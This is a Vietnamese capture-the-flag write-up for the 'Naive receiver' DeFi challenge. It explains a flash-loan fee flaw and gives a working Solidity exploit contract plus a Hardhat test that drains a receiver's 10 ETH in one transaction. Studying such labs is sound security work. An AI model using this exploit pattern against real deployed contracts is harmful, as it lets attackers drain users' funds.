Challenge #2 - Naive receiver
Nhiệm vụ: Có một lending pool trữ 1000 ETH, cung cấp flash loan với phí đắt đỏ là 1 ETH/flashloan. Có một user cũng đã deploy một contract chứa 10ETH, có khả năng tương tác với lending pool và thực hiện flash loan. Mục tiêu của chúng ta là bằng cách nào đó làm cạn ETH trong contract của user bằng một transaction duy nhất.
Phân tích
Lending pool cho phép ta thực hiện flash loan với phí là FIXED_FEE = 1 ether
, khá chát.
Logic thực hiện cho vay:
require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
borrowAmount
);
borrower sau khi nhận được ETH vay thì cần hoàn trả tại hàm receiveEther
với phí là FIX_FEE
.
Tại contract của borrower:
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");
uint256 amountToBeRepaid = msg.value + fee;
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
như vậy mỗi lần thực hiện flashloan thì contract borrower mất đi 1 Ether
làm tiền phí. Ban đầu contract có 10ETH, vậy ta chỉ cần gọi flashloan 10 lần là đã có thể thổi bay balance của borrower rồi.
Để thực hiện tất cả trong 1 transaction, đơn giản ta viết thêm 1 contract và thực hiện tất cả tại constructor
là xong.
Exploit
viết contract khai thác
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./FlashLoanReceiver.sol";
import "./NaiveReceiverLenderPool.sol";
contract RektNaiveReceiver {
constructor(address payable poolAddress, address receiver) {
NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(poolAddress);
for (uint256 i = 0; i < 10; i++) {
pool.flashLoan(receiver, 1 ether);
}
}
}
sau đó tiến hành deploy là xong
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
this.rekt = await (
await ethers.getContractFactory("RektNaiveReceiver", attacker)
).deploy(this.pool.address, this.receiver.address);
});
Check lại kết quả:
[Challenge] Naive receiver
✓ Exploit (904ms)
1 passing (3s)
All done!